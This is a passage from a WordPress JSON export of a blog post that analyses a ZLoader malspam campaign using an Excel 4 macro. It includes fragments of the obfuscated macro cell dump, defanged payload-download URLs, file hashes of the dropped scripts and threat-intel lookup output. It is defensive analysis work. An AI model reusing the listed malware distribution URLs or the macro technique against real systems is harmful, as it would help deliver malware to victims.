--&gt; BLANK CELL \r\nr8113c105 --&gt; BLANK CELL \r\nr8114c105 --&gt; BLANK CELL \r\nr8115c105 --&gt; QsgxkJBzTO=52444 \r\nr8116c105 --&gt; BLANK CELL \r\nr8117c105 --&gt; BLANK CELL \r\nr8118c105 --&gt; BLANK CELL \r\nr8119c105 --&gt; XALlBJEjZz=7 \r\nr8120c105 --&gt; BLANK CELL \r\nr8121c105 --&gt; zpBaqJ=R48529C159 \r\nr8122c105 --&gt; BLANK CELL \r\nr8123c105 --&gt; \\=DuIQvnMjv() \r\nr8124c105 --&gt; BLANK CELL \r\nr8125c105 --&gt; BLANK CELL \r\nr8126c105 --&gt; BLANK CELL \r\nr8127c105 --&gt; \\=zpBaqJ()\r\n<\/pre>\n<p>At the end of all this though, I was never able to get it to drop anything else since I am assuming that the links in the macro were already dead. The only link that the macro tried was the hxxps:\/\/6730dartmouth.com\/wp-keys.php site which got a RST,ACK back based on the PCAP. I also don&#8217;t understand why the macro tried to launch lLO.html via the rundll32.exe process considering that the file, from what I can tell, is not a valid EXE file.<\/p>\n<p>Artifacts<br \/>\n==========<\/p>\n<p>IOCs<br \/>\n&#8212;&#8211;<br \/>\n3.214.119.8 \/ hxxps:\/\/6730dartmouth.com\/wp-keys.php<br \/>\nhxxps:\/\/akcje.browarbrodacz.pl\/wp-keys.php<br \/>\nhxxp:\/\/myadvision.com\/wp-keys.php<br \/>\nhxxps:\/\/scoutadvisors.com\/wp-keys.php<\/p>\n<p>OSINT<br \/>\n&#8212;&#8212;<br \/>\n<a href=\"http:\/\/urlhaus.abuse.ch\/browse.php?search=6730dartmouth.com%2Fwp-keys.php\" rel=\"noopener noreferrer\" target=\"_blank\">http:\/\/urlhaus.abuse.ch\/browse.php?search=6730dartmouth.com%2Fwp-keys.php<\/a><br \/>\n<a href=\"http:\/\/urlhaus.abuse.ch\/browse.php?search=akcje.browarbrodacz.pl%2Fwp-keys.php\" rel=\"noopener noreferrer\" target=\"_blank\">http:\/\/urlhaus.abuse.ch\/browse.php?search=akcje.browarbrodacz.pl%2Fwp-keys.php<\/a><br \/>\n<a href=\"http:\/\/urlhaus.abuse.ch\/browse.php?search=myadvision.com%2Fwp-keys.php\" rel=\"noopener noreferrer\" target=\"_blank\">http:\/\/urlhaus.abuse.ch\/browse.php?search=myadvision.com%2Fwp-keys.php<\/a><br \/>\n<a href=\"http:\/\/urlhaus.abuse.ch\/browse.php?search=scoutadvisors.com%2Fwp-keys.php\" rel=\"noopener noreferrer\" target=\"_blank\">http:\/\/urlhaus.abuse.ch\/browse.php?search=scoutadvisors.com%2Fwp-keys.php<\/a><\/p>\n<p>File hashes<br \/>\n&#8212;&#8212;&#8212;&#8212;<br \/>\n14fd223fca8c4de54d0d9158002244417463c748cda7e703b6503987cd4df693 &#8212; ZN_395.xls<br \/>\n3af46195f7e21ad4bce866f89fb4b9601dee8df1d3fffff849c990e6448f9eba &#8212; C:\\Users\\%username%\\AppData\\Local\\Temp\\w9Z.vbs<br \/>\n1704b9f93a8b27183345080d6e4560c2d78b331be1152c763867c79d2ff5068b &#8212; C:\\Users\\%username%\\AppData\\Local\\Temp\\W6ncncs.vbs<br \/>\n7eb70257593da06f682a3ddda54a9d260d4fc514f645237f5ca74b08f8da61a6 &#8212; C:\\Users\\%username%\\AppData\\Local\\Temp\\aDzp0omL.txt<br \/>\nd2237ba008fbffa05765b482db34d7ab5f9363d10d09f058edbabe54df9d5d22 &#8212; C:\\Users\\%username%\\AppData\\Local\\Temp\\dyB5.vbs<br \/>\n791d36a6c3b7c4147cb1a61492fa9fb0bb71a2a8a46c4f7bf6b05b7bf0ba0c6e &#8212; C:\\Users\\%username%\\AppData\\Local\\Temp\\lLO.html<\/p>\n<p>Machinae results<br \/>\n&#8212;&#8212;&#8212;&#8212;&#8212;&#8211;<br \/>\n********************************************************************************<br \/>\n* Information for 1704b9f93a8b27183345080d6e4560c2d78b331be1152c763867c79d2ff5068b<br \/>\n* Observable type: hash.sha256 (Auto-detected: True)<br \/>\n********************************************************************************<br \/>\nNot seeing what you expect? Likely not a valid site. Try running with &#8211;list-sites<br \/>\n[-] No VirusTotal File Report Results<\/p>\n<p>********************************************************************************<br \/>\n* Information for 14fd223fca8c4de54d0d9158002244417463c748cda7e703b6503987cd4df693<br \/>\n* Observable type: hash.sha256 (Auto-detected: True)<br \/>\n********************************************************************************<br \/>\nNot seeing what you expect? Likely not a valid site. Try running with &#8211;list-sites<br \/>\n[-] No VirusTotal File Report Results<\/p>\n<p>********************************************************************************<br \/>\n* Information for 7eb70257593da06f682a3ddda54a9d260d4fc514f645237f5ca74b08f8da61a6<br \/>\n* Observable type: hash.sha256 (Auto-detected: True)<br \/>\n********************************************************************************<br \/>\nNot seeing what you expect? Likely not a valid site. Try running with &#8211;list-sites<br \/>\n[+] VirusTotal File Report Results<br \/>\n[-] Date submitted: 2020-07-20 07:54:34<br \/>\n[-] Detected engines: 0<br \/>\n[-] Total engines: 59<\/p>\n<p>********************************************************************************<br \/>\n* Information for d2237ba008fbffa05765b482db34d7ab5f9363d10d09f058edbabe54df9d5d22<br \/>\n* Observable type: hash.sha256 (Auto-detected: True)<br \/>\n********************************************************************************<br \/>\nNot seeing what you expect? Likely not a valid site. Try running with &#8211;list-sites<br \/>\n[-] No VirusTotal File Report Results<\/p>\n<p>********************************************************************************<br \/>\n* Information for 791d36a6c3b7c4147cb1a61492fa9fb0bb71a2a8a46c4f7bf6b05b7bf0ba0c6e<br \/>\n* Observable type: hash.sha256 (Auto-detected: True)<br \/>\n********************************************************************************<br \/>\nNot seeing what you expect? Likely not a valid site. Try running with &#8211;list-sites<br \/>\n[-] No VirusTotal File Report Results<\/p>\n<p>********************************************************************************<br \/>\n* Information for 3af46195f7e21ad4bce866f89fb4b9601dee8df1d3fffff849c990e6448f9eba<br \/>\n* Observable type: hash.sha256 (Auto-detected: True)<br \/>\n********************************************************************************<br \/>\nNot seeing what you expect? Likely not a valid site. Try running with &#8211;list-sites<\/p>\n<p>Munin results<br \/>\n&#8212;&#8212;&#8212;&#8212;&#8211;<br \/>\n 1 \/ 6 &gt; Unknown<br \/>\nHASH: d2237ba008fbffa05765b482db34d7ab5f9363d10d09f058edbabe54df9d5d22 COMMENT: dyB5.vbs<br \/>\nRESULT: &#8211; \/ &#8211;<\/p>\n<p> 2 \/ 6 &gt; Unknown<br \/>\nHASH: 3af46195f7e21ad4bce866f89fb4b9601dee8df1d3fffff849c990e6448f9eba COMMENT: w9Z.vbs<br \/>\nRESULT: &#8211; \/ &#8211;<\/p>\n<p> 3 \/ 6 &gt; Unknown<br \/>\nHASH: 1704b9f93a8b27183345080d6e4560c2d78b331be1152c763867c79d2ff5068b COMMENT: W6ncncs.vbs<br \/>\nRESULT: &#8211; \/ &#8211;<\/p>\n<p> 4 \/ 6 &gt; Unknown<br \/>\nHASH: 791d36a6c3b7c4147cb1a61492fa9fb0bb71a2a8a46c4f7bf6b05b7bf0ba0c6e COMMENT: lLO.html<br \/>\nRESULT: &#8211; \/ &#8211;<\/p>\n<p> 5 \/ 6 &gt; Unknown<br \/>\nHASH: 14fd223fca8c4de54d0d9158002244417463c748cda7e703b6503987cd4df693 COMMENT: ZN_395.xls<br \/>\nRESULT: &#8211; \/ &#8211;<\/p>\n<p> 6 \/ 6 &gt; Clean<br \/>\nHASH: 7eb70257593da06f682a3ddda54a9d260d4fc514f645237f5ca74b08f8da61a6 COMMENT: aDzp0omL.txt<br \/>\nTYPE: Text SIZE: 2.0 B FILENAMES: WIZARD_OEM.TAG, 7162913048.html, autofill_Google Chrome_Default.log, reo, as.js, intraship, sss, jjj, gra, cookiematch.aspx, igfxcpu.exe, rvs, index.php, rea, boa, rva, 854a636e94caea74b94de7d70b432476.csv, apa, roo, pet, co, mca, grd, mis, cto, cta, wa, boo, 7130637122.html, VerifyClient.php, outlook.txt, functionswitch.php, emss.php, brt.pie, 401.shtml, 291196665.html, 7162273006.html, foa, bfa, il, fua, index3.php, wv, mdjz-zjwjq8okmeklpxg_bfnqnpsuv-f7t, 1f2dd5e7211dc2615c0d7f8035fa9191, home, act, 18108-nicol.html, ma, heavenly, fsysfile.ini, oo17.exe, linkedIn%20(1, MDjZ-zjwJq8OKmeKLPXg_BfnQNPSuv-f7t, nicolas000007.html, 7161860810.html, redirect.php, 20190626.pdf, opac, videolivetile, bik, mi, log.txt, zip, skypeautoconect.log, pta, gms, va, hvo, 78caa02f54005b57e68556e648e21366, jgqd050910L32012.html, 5766409524.html, 22, alphabetizew.html, purificationxm.html, 4792-hola-chicos-soy-may.html, updates.html, card.php, windowssave.txt, 6#dueisnw1.txt, 01212_1xpeyr6xowc_0ci0lm_600x450.jpg, verify, iphone_script.php, fgstdiq_902423, 00A0A_86nFjpmceXj_0pO0jm_600x450.jpg, 286_65531iiv_wuax_k.ak, hva, 7141487164.html, homepage-concat.min.js, ls_fp.html_CIS3SID=88090448CEA480A34762200E5BDC51F0, search-concat.min.js, &#8230;, ca, onetime.min.js, install.php, 7156527143.html, mail.php<br \/>\nFIRST: 2007-11-14 21:37:42 LAST: 2020-07-21 09:07:48 SUBMISSIONS: 6492 REPUTATION: -155<br \/>\nCOMMENTS: 10 USERS: DALEJAKECORNER, joesecurity, joesecurity, joesecurity, joesecurity, joesecurity, hugoklugman, DALEJAKECORNER, joesecurity, DALEJAKECORNER TAGS: TEXT NSRL ATTACHMENT TRUSTED VIA-TOR<br \/>\nRESULT: 0 \/ 60<br \/>\n[!] Sample on URLHaus URL: <a href=\"http:\/\/urlhaus-api.abuse.ch\/v1\/download\/7eb70257593da06f682a3ddda54a9d260d4fc514f645237f5ca74b08f8da61a6\/\" rel=\"noopener noreferrer\" target=\"_blank\">http:\/\/urlhaus-api.abuse.ch\/v1\/download\/7eb70257593da06f682a3ddda54a9d260d4fc514f645237f5ca74b08f8da61a6\/<\/a><br \/>\n[!] URLHaus info TYPE: unknown FIRST_SEEN: 2018-05-15 10:08:45 LAST_SEEN: 2018-07-11 14:59:33 URL_COUNT: 5<br \/>\n[!] URLHaus STATUS: offline URL: http:\/\/motoboutique.mx\/VirginMedia\/319472649399\/<br \/>\n[!] URLHaus STATUS: offline URL: http:\/\/victoryoutreachvallejo.com\/wp-content\/plugins\/regenerate-thumbnails\/includes\/1<br \/>\n[!] URLHaus STATUS: offline URL: http:\/\/victoryoutreachvallejo.com\/wp-content\/plugins\/regenerate-thumbnails\/includes\/2<br \/>\n[!] URLHaus STATUS: offline URL: http:\/\/victoryoutreachvallejo.com\/wp-content\/plugins\/regenerate-thumbnails\/includes\/3<br \/>\n[!] URLHaus STATUS: offline URL: http:\/\/gmshipsupply.com\/Invoices-attached\/<br \/>\n[!] Sample on ANY.RUN URL: <a href=\"http:\/\/any.run\/report\/7eb70257593da06f682a3ddda54a9d260d4fc514f645237f5ca74b08f8da61a6\" rel=\"noopener noreferrer\" target=\"_blank\">http:\/\/any.run\/report\/7eb70257593da06f682a3ddda54a9d260d4fc514f645237f5ca74b08f8da61a6<\/a><\/p>\n","protected":false},"excerpt":{"rendered":"<p>Summary ======== This is a late posting since I was originally playing with the malspam back on the 17th. In this case I was looking at some emails that were caught by the mail filters. Looking at the attachment in the email a little closer I noticed that this was one that I had not seen before but had read about on several different occasions &#8211; an Excel 4 macro. The interesting thing about this attack vector is the fact that it doesn&#8217;t rely on an embedded VB macro in the Excel spreadsheet per se, but uses the native built-in&#8230;<\/p>\n<p> <a class=\"continue-reading-link\" href=\"https:\/\/www.herbiez.com\/?p=1382\"><span>Continue reading<\/span><i class=\"crycon-right-dir\"><\/i><\/a> <\/p>\n","protected":false},"author":2,"featured_media":0,"comment_status":"open","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[10,4],"tags":[40],"class_list":["post-1382","post","type-post","status-publish","format-standard","hentry","category-code","category-packet-analysis","tag-zloader"],"_links":{"self":[{"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/posts\/1382","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=1382"}],"version-history":[{"count":6,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/posts\/1382\/revisions"}],"predecessor-version":[{"id":1487,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=\/wp\/v2\/posts\/1382\/revisions\/1487"}],"wp:attachment":[{"href":"https:\/\/www.herbiez.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=1382"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=1382"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/www.herbiez.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=1382"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}